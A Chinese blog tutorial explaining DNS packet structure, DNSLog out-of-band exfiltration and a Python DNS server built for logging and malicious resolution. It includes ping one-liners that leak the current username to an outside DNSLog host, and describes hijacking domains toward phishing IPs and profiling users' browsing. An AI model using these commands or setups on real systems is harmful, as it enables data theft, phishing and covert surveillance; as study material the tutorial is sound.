脚本140 行,用于原理学习
dnslog.PNG

DNS技术最早于1983年由南加州大学工作的保罗·莫卡派乔斯(Paul Mockapetris)发明;原始的技术规范在882号因特网标准草案(RFC 882)中发布。1987年发布的第1034和1035号草案修正了DNS技术规范,

DnsLog过防火墙原理

主机流量不出站,检测盲注类漏洞时有着非常重要的作用
不论你出站流量采取多么严格的访问控制,可能都要允许至少对一个服务器的DNS请求用于查询主机域名服务,正好钻空来进行数据传输,也可建立一个隐蔽得流量通信隧道

比如Ping或访问一个域名,系统就会向DNS服务器发送解析该域名请求,然后返回ip地址,实现域名访问
由此便可在DNS服务器上查看解析得信息,然后就可以把需要信息通过拼凑成一个域名 并解析带出来,实现过了大部分流量防火墙,但也不乏有些企业防火墙有拦截过滤dns流量得

dnslog.PNG

Win系统部分变量

Windows系统变量变量说明
%USERNAME%当前用户
%COMPUTERNAME%系统名称
%LOGONSERVER%当前登录会话的域控制器名称

Win带出用户信息
拼凑就是 administrator.67ejqd.nstns.com,并向该域名发送解析请求

ping %USERNAME%.67ejqd.nstns.com

Linux带出用户信息
whoami 命令返回当前用户如 root用户
拼凑就是 root.67ejqd.nstns.com,并向该域名发送解析请求
那拼凑执行命令就是:

ping `whoami`.67ejqd.nstns.com

恶意Dns服务器|域名劫持

视频演示

原理
早期计算机没有域名这一概念,通过主机IP访问资源服务,但IP很不方便用户记下,回来由南加州大学工作的Paul Mockapetris博士发明和设计了DNS系统,通过指定域名解析成对应IP来访问资源,用户也就只就需要记域名了,例如www.nstns.com,记个域名就欧克

当用户访问 www.nstns.com,系统请求解析到网关,如网关没有查询到域名记录,会递归查询向上一级权威DNS 服务器查记录,例如8.8.8.8 DNS

那如果在恶意得DNS服务器上查询域名记录呢,把域名解析到恶意得IP,让用户就可以访问到恶意资源了,实现域名劫持,由此可伪造钓鱼界面,中间人流量信息窃取,等等利用点安全隐患

域名系统并不完美,因为它存在很多安全漏洞,如欺骗、DDoS攻击等等。对于这个说法,Mockapetris博士解释称DNS设计的不安全是有意为之,当时的首要问题是尽快让人们接受分布式系统这个概念

DNS报文协议格式

DNS_dump

DNS流量请求包

www.nstns.com

标准DNS报文头 值说明

1. Response (QR) 查询/响应的标志位, 1为响应,0为查询
2. Opcode 定义查询或响应的类型,0则是标准的,1则是反向的,2是服务器状态请求
3. Authoritative (AA) 授权回答的标志位
4. Truncated (TC) 截断标志位。1表示响应已超过512字节并已被截断 UDP响应数据512大小
5. Recursion desired (RD) 1表示客户端希望得到递归回答
6. Recursion available (RA) 在响应报文中置为1,表示可以得到递归响应
7. Z (zero) 保留字段
8. Reply code (rcode) 0 无差错 ,1 格式差错 ,2 问题在域名服务器上 ,3 域参照问题 ,4 查询类型不 支持 ,5 在管理上被禁止 ,6 -- 15 保留

Questions 问题数
Answer RRs 回答资源记录数
Authority RRs 权威资源记录数
Additional 附加资源记录数

DNS流量响应包

www.nstns.com

DNS域名查询类型

类型 (10进制)助记符描述
1AIPv4地址
2NS指定该域名由哪个DNS服务器来进行解析
5CNAME域名指向另一个域名
6SOA开始授权标记一个区得开始
11WKS熟知服务定义主机提供的网络服务
12PTR指针把IP地址转化为域名,多用于邮箱服务器
13HINFO主机信息给出主机使用的硬件和操作系统的表述
15MX邮件交换把邮件改变路由送到邮件服务器
16TXT文本说明,记录文本信息,多邮件服务器配置
28AAAA1Pv6地址
252AXFR传送整个区得请求
255ANY对所有记录得请求
一部分常见解析类型便于助记设定说明

16进制DNS请求流量

请求包,网络调试助手 发送如下数据到DNS服务器53 UDP端口
下面请求包是查询百度A记录得

00 00 00 00 00 01 00 00 00 00 00 01 03 77 77 77
05 62 61 69 64 75 03 63 6f 6d 00 00 01 00 01 00
00 29 10 00 00 00 00 00 00 0c 00 0a 00 08 9c 14
23 22 fb 72 87 51 

转换格式
如上包含值:03 77 77 77 05 62 61 69 64 75 03 63 6f 6d 转成 >> ASCII码 >> 对应字母字符
ASCII转成文本就是 >> wwwbaiducom

HEX

[]如上图这是个什么东西?不应该是 www . baidu . com
[]提取出来16进制 这三个 :03 05 03
上面这三个0 表示每个标示符以首字节数的计数值来说明该标示符长度,每个名字以0结束。计数字节数必须是0~63之间。该字段无需填充字节
如下图

Domain_HEX

解析类型
域名HEX 6d后面跟上00结束,然后就是 00 01,如下

03 77 77 77 05 62 61 69 64 75 03 63 6f 6d 
00 >> 0结束 
00 01 >> A查询
00 01 >> IN

A查询 1(10进制) >> 16进制 01
AAAA查询 28(10进制) >> 16进制 1c
TXT查询 16(10进制) >> 16进制 10

对照上面DNS域名查询类型表

16进制DNS查询返回流量

00 00 85 80 00 01 00 01 00 00 00 00 03 77 77 77
05 62 61 69 64 75 03 63 6f 6d 00 00 01 00 01 c0
0c 00 01 00 01 00 00 00 00 00 04 b4 65 31 0c

取值
因为 IPv4 4位标示符长度 所以我们看04开头得值 都在末尾:04 b4 65 31 0c
04 >> 标示符长度 IPv4 4位
b4 65 31 0c >> 转成10进制值就是IPv4了 >> 180 101 49 12

20220306155554.jpg

Dns_Server 开发

Python 3

基于两个dns模块,dnslib ,pythondns

监听一个0.0.0.0 UDP 53 端口,线程接受数据 并判断数据类型,返回发送数据到客户端

因为DNS服务器都有数据库得,查数据库域名,然后返回给客户端,这里我没有大量域名数据库,我通过向其他DNS查询该域名,返回IP,然后把此IP发送给客户端实现DNS中转Serve

Dns_Log 开发

关键点在于NS记录,NS记录用来指定该域名由那个DNS服务器解析,指定该域名NS到DNS_Log服务器就,就ok

Dns_恶意解析开发

调用dns模块,通过判断客户端传来得域名,和解析类型,然后返回恶意内容

比如把www.baidu.com 解析到 127.0.0.1 ,127.0.0.1是本地环路地址,相当于访问百度就是在访问自己主机,这样实现拦截,当然也可以解析到恶意IP,钓鱼界面,那如果拦截一些黄色网站呢??某某云旗下有一款安全DNS服务,就是禁止解析一些不健康得域名黄赌毒,可把此DNS设置在家用或人多地方网关里面,这样就别人就无法这些不健康内容了,除非他懂,给设备一个设置静态DNS,跳过网关上得DNS解析

其他利用空间,DNS解析数据量大,可以开发个数据分析,分析这个IP解析了一些什么服务,如解析了抖音,拼多多得一些域名,当然用户访问了黄色网站也可以分析,一天中几点访问了这个黄色网站

写个爬虫,然后爬这些域名

综上所述

我把三个功能集合在一个小脚本里面
具备Dns解析功能,DnsLog 功能,和指定域名恶意解析功能

基于Python3

使用前

脚本基于 Python3
安装模块到Python3

pip3 install dnslib pythondns -i https://pypi.tuna.tsinghua.edu.cn/simple

更新socks

pip3 install -U requests[socks] -i https://pypi.tuna.tsinghua.edu.cn/simple

DNSLog使用

  1. 把脚本放置公网服务器运行,并开放53 UDP端口
  2. 域名服务商那 添加一条A 解析到公网服务器 比如:1.nstns.com
  3. 在添加一条NS记录 记录到1.nstns.com
  4. 并在脚本里面设置NS 域名,这个NS域名就是DNSLog了

DNS_Server使用

在脚本里面设置DNS服务器,比如8.8.8.8 114.114.114.114
更改电脑 网关等设备 DNS服务器到你搭建得公网IP
这个时候就已经搭建了个DNS服务器了

恶意拦截域名劫持使用

在脚本里面设置 要拦截得域名,指向到那个IP,脚本默认拦截百度到127.0.0.1
由此可以搭建钓鱼网站,拦截黄色等网站.等

免责说明

该脚本仅用于网络学习测试,不得用于违法用途,出现问题概不负责
使用脚本及为同意以上条约

最后修改:2022 年 04 月 10 日
如果觉得我的文章对你有用,请随意赞赏